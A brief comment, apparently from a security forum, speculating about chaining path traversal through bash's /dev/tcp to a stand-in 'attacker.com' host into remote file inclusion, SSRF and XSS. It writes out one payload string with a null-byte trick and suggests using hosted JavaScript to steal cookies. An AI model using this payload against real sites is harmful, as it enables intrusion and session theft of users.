Crazy idea but I’m guessing you might do RFI using the tcp features with bash’s virtual filesystem. Payload is “../../../../../../dev/tcp/attacker.com/1337%00.txt” then on the remote server host JavaScript (XSS) to either steal cookies or make other Same-Origin requests. SSRF/XSS